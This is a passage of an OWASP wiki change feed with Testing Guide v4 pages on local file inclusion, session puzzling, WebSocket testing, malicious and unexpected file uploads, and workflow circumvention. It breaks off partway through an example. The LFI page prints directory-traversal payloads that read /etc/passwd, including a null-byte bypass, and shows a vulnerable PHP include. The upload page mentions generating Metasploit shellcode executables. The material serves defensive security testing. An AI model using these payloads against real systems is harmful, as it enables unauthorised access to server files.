The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a &amp;quot;dynamic file inclusion&amp;quot; mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:&lt;br /&gt;
&lt;br /&gt;
*Code execution on the web server&lt;br /&gt;
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)&lt;br /&gt;
*Denial of Service (DoS)&lt;br /&gt;
*Sensitive Information Disclosure&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Local File Inclusion''' (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
 &lt;br /&gt;
Since LFI occurs when paths passed to &amp;quot;include&amp;quot; statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=example.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Typical proof-of-concept would be to load passwd file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the above mentioned conditions are met, an attacker would see something like the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br /&gt;
alex:x:500:500:alex:/home/alex:/bin/bash&lt;br /&gt;
margo:x:501:501::/home/margo:/bin/bash&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php “include/”.include($_GET['filename'].“.php”); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the case, simple substitution with arbitrary filename would not work as the postfix 'php' is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion&lt;br /&gt;
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Session_puzzling_(OTG-SESS-008)&amp;diff=180311</id>
		<title>Testing for Session puzzling (OTG-SESS-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Session_puzzling_(OTG-SESS-008)&amp;diff=180311"/>
				<updated>2014-08-08T13:18:51Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Session Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions, including by not limited to:&lt;br /&gt;
* Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.&lt;br /&gt;
* Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.&lt;br /&gt;
* Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.&lt;br /&gt;
* Manipulate server-side values in indirect methods that cannot be predicted or detected.&lt;br /&gt;
* Execute traditional attacks in locations that were previously unreachable, or even considered secure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, an attacker could use session variable overloading to bypass authentication enforcement mechanisms of applications that enforce authentication by validating the existence of session variables that contain identity–related values, which are usually stored in the session after a successful authentication process. This means an attacker first accesses a location in the application that sets session context and then accesses privileged locations that examine this context. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box Testing ===&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points and then examining exit points. In case of black box testing this procedure is difficult and requires some luck since every different sequence could lead to a different result. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Examples====&lt;br /&gt;
&lt;br /&gt;
A very simple example could be the password reset functionality that, in the entry point, could request the user to provide  some identifying information such as the username or the e-mail address. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages in the application that show private data based on this session object. In this manner the attacker could bypass the authentication process.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
The most effective way to detect these vulnerabilities is via a source code review.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Session Puzzles: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf&lt;br /&gt;
* Session Puzzling and Session Race Conditions: http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Remediation==&lt;br /&gt;
&lt;br /&gt;
Session variables should only be used for a single consistent purpose.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_WebSockets_(OTG-CLIENT-010)&amp;diff=180310</id>
		<title>Testing WebSockets (OTG-CLIENT-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_WebSockets_(OTG-CLIENT-010)&amp;diff=180310"/>
				<updated>2014-08-08T13:14:20Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTML5 WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial 'upgrade' handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin ===&lt;br /&gt;
&lt;br /&gt;
It is the server’s responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for [[Top 10 2013-A8-Cross-Site Request Forgery (CSRF)]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Confidentiality and Integrity ===&lt;br /&gt;
&lt;br /&gt;
WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the ''ws://'' URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the ''wss://'' URI scheme is used (default port 443). Look out for [[Top 10 2013-A6-Sensitive Data Exposure]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Authentication ===&lt;br /&gt;
&lt;br /&gt;
WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for [[Top 10 2013-A2-Broken Authentication and Session Management]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Authorization ===&lt;br /&gt;
&lt;br /&gt;
WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for [[Top 10 2013-A4-Insecure Direct Object References]] and [[Top 10 2013-A7-Missing Function Level Access Control]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input Sanitization ===&lt;br /&gt;
&lt;br /&gt;
As with any data originating from untrusted sources, the data should be properly sanitised and encoded. Look out for [[Top 10 2013-A1-Injection]] and [[Top 10 2013-A3-Cross-Site Scripting (XSS)]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
1. Identify that the application is using WebSockets. &lt;br /&gt;
*Inspect the client-side source code for the ''ws://'' or ''wss://'' URI scheme.&lt;br /&gt;
*Use Google Chrome's Developer Tools to view the Network WebSocket communication.&lt;br /&gt;
*Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Origin.&lt;br /&gt;
* Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3. Confidentiality and Integrity.&lt;br /&gt;
* Check that the WebSocket connection is using SSL to transport sensitive information (wss://).&lt;br /&gt;
* Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)] section of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Authentication.&lt;br /&gt;
* WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_authentication Authentication Testing] sections of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Authorization.&lt;br /&gt;
* WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_Authorization Authorization Testing] sections of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
6. Input Sanitization.&lt;br /&gt;
* Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [https://www.owasp.org/index.php/Testing_for_Data_Validation Testing for Data Validation] sections of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
Once we have identified that the application is using WebSockets (as described above) we can use the [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)] to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP_ZAP_WebSockets.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake's origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.&lt;br /&gt;
&lt;br /&gt;
[[File:WebSocket_Client.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing ==&lt;br /&gt;
Gray box testing is similar to black box testing. In gray box testing the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br /&amp;gt;&lt;br /&gt;
*'''HTML5 Rocks''' - Introducing WebSockets: Bringing Sockets to the Web: http://www.html5rocks.com/en/tutorials/websockets/basics/&lt;br /&gt;
*'''W3C''' - The WebSocket API: http://dev.w3.org/html5/websockets/&lt;br /&gt;
*'''IETF''' - The WebSocket Protocol: https://tools.ietf.org/html/rfc6455&lt;br /&gt;
*'''Christian Schneider''' - Cross-Site WebSocket Hijacking (CSWSH): http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html&lt;br /&gt;
*'''Jussi-Pekka Erkkilä''' - WebSocket Security Analysis: http://juerkkil.iki.fi/files/writings/websocket2012.pdf&lt;br /&gt;
*'''Robert Koch'''- On WebSockets in Penetration Testing: http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf&lt;br /&gt;
*'''DigiNinja''' - OWASP ZAP and Web Sockets: http://www.digininja.org/blog/zap_web_sockets.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br /&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
*'''WebSocket Client''' - https://github.com/RandomStorm/scripts/blob/master/WebSockets.html&lt;br /&gt;
A WebSocket client that can be used to interact with a WebSocket server.&lt;br /&gt;
*'''Google Chrome Simple WebSocket Client''' - https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en&lt;br /&gt;
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-009)&amp;diff=180309</id>
		<title>Test Upload of Malicious Files (OTG-BUSLOGIC-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-009)&amp;diff=180309"/>
				<updated>2014-08-08T13:12:30Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Many application’s business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, &amp;quot;malicious&amp;quot; means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a &amp;quot;malicious&amp;quot; to a main frame flat file environment.   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test==&lt;br /&gt;
&lt;br /&gt;
Generic Testing Method&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and &amp;quot;malicious&amp;quot; file in your environment. &lt;br /&gt;
&lt;br /&gt;
• Develop or acquire a known “malicious” file.&lt;br /&gt;
&lt;br /&gt;
• Try to upload the malicious file to the application/system and verify that it is correctly rejected.   &lt;br /&gt;
&lt;br /&gt;
• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 1&lt;br /&gt;
&lt;br /&gt;
•	Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit &amp;quot;msfpayload&amp;quot; command.&lt;br /&gt;
&lt;br /&gt;
•	Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 2&lt;br /&gt;
&lt;br /&gt;
•	Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm.  &lt;br /&gt;
&lt;br /&gt;
•	Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method 3&lt;br /&gt;
&lt;br /&gt;
•	Set up the intercepting proxy to capture the “valid” request for an accepted file.&lt;br /&gt;
&lt;br /&gt;
•	Send an “invalid” request through with a valid/acceptable file extension and see if the  request is accepted or properly rejected. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
• Metasploit's payload generation functionality &lt;br /&gt;
&lt;br /&gt;
• Intercepting proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload&lt;br /&gt;
&lt;br /&gt;
Why File Upload Forms are a Major Security Threat - http://www.acunetix.com/websitesecurity/upload-forms-threat/&lt;br /&gt;
&lt;br /&gt;
File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload&lt;br /&gt;
&lt;br /&gt;
Overview of Malicious File Upload Attacks - http://securitymecca.com/article/overview-of-malicious-file-upload-attacks/&lt;br /&gt;
&lt;br /&gt;
Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms&lt;br /&gt;
&lt;br /&gt;
How to Tell if a File is Malicious - http://www.techsupportalert.com/content/how-tell-if-file-malicious.htm&lt;br /&gt;
&lt;br /&gt;
CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html&lt;br /&gt;
&lt;br /&gt;
Implementing Secure File Upload - http://infosecauditor.wordpress.com/tag/malicious-file-upload/&lt;br /&gt;
&lt;br /&gt;
Watchful File Upload - http://palizine.plynt.com/issues/2011Apr/file-upload/&lt;br /&gt;
&lt;br /&gt;
Matasploit Generating Payloads - http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads&lt;br /&gt;
&lt;br /&gt;
Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit&lt;br /&gt;
http://www.projectshellcode.com/?q=node/29&lt;br /&gt;
&lt;br /&gt;
Anti-Malware Test file - http://www.eicar.org/86-0-Intended-use.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Upload_of_Unexpected_File_Types_(OTG-BUSLOGIC-008)&amp;diff=180308</id>
		<title>Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Upload_of_Unexpected_File_Types_(OTG-BUSLOGIC-008)&amp;diff=180308"/>
				<updated>2014-08-08T13:11:33Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Many application’s business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain “approved” file types. Deciding what files are &amp;quot;approved&amp;quot; is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently “malicious” but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The application may be expecting only certain file types to be uploaded for processing, such as .CSV, .txt files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Example ==&lt;br /&gt;
&lt;br /&gt;
Suppose a picture sharing application allows users to upload a .gif or .jpg graphic file to the web site. What if an attacker is able to upload an html file with a &amp;lt;script&amp;gt; tag in it or php file? The system may move the file from a temporary location to the final location where the php code can now be executed against the application or system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
Generic Testing Method&lt;br /&gt;
&lt;br /&gt;
• Review the project documentation and perform some exploratory testing looking for file types that should be &amp;quot;unsupported&amp;quot; by the application/system.&lt;br /&gt;
&lt;br /&gt;
• Try to upload these “unsupported” files an verify that it are properly rejected.   &lt;br /&gt;
&lt;br /&gt;
• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Specific Testing Method &lt;br /&gt;
&lt;br /&gt;
•	Study the applications logical requirements.&lt;br /&gt;
&lt;br /&gt;
•	Prepare a library of files that are “not approved” for upload that may contain files such as: jsp, exe, or html files containing script.&lt;br /&gt;
&lt;br /&gt;
•	In the application navigate to the file submission or upload mechanism.&lt;br /&gt;
&lt;br /&gt;
•	Submit the “not approved” file for upload and verify that they are properly prevented from uploading&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related Test Cases ==&lt;br /&gt;
&lt;br /&gt;
[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] &lt;br /&gt;
&lt;br /&gt;
[[Test Upload of Malicious Files (OTG-BUSLOGIC-009)| Test Upload of Malicious Files (OTG-BUSLOGIC-009)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==  &lt;br /&gt;
&lt;br /&gt;
OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload&lt;br /&gt;
&lt;br /&gt;
File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload&lt;br /&gt;
&lt;br /&gt;
Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms&lt;br /&gt;
&lt;br /&gt;
CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html&lt;br /&gt;
&lt;br /&gt;
Secure Programming Tips - Handling File Uploads - https://www.datasprings.com/resources/dnn-tutorials/artmid/535/articleid/65/secure-programming-tips-handling-file-uploads?AspxAutoDetectCookieSupport=1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Applications should be developed with mechanisms to only accept and manipulate “acceptable“ files that the rest of the application functionality is ready to handle and expecting.  Some specific examples include: Black or White listing of file extensions, using “Content-Type” from the header, or using a file type recognizer, all to only allow specified file types into the system.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_the_Circumvention_of_Work_Flows_(OTG-BUSLOGIC-006)&amp;diff=180307</id>
		<title>Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_the_Circumvention_of_Work_Flows_(OTG-BUSLOGIC-006)&amp;diff=180307"/>
				<updated>2014-08-08T13:10:16Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that will allow them to circumvent (not follow) the designed/intended workflow.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
“A workflow consists of a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin. It is a depiction of a sequence of operations, declared as work of a person or group, an organization of staff, or one or more simple or complex mechanisms. Workflow may be seen as any abstraction of real work.” (https://en.wikipedia.org/wiki/Workflow)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The application’s business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are “rolled back” or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be developed using requirements and use cases. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The applications business process must have checks to ensure that the user's transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of action, that action will be “rolled back” and removed if the transaction is not successfully completed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Example 1&lt;br /&gt;
&lt;br /&gt;
Many of us receive so type of “club/loyalty points” for purchases from grocery stores and gas stations. Suppose a user was able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel out of the transaction or remove items from their “basket” and tender. In this case the system either should not apply points/credits to the account until it is tendered or points/credits should be “rolled back” if the point/credit increment does not match the final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually buy anything.    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example 2&lt;br /&gt;
&lt;br /&gt;
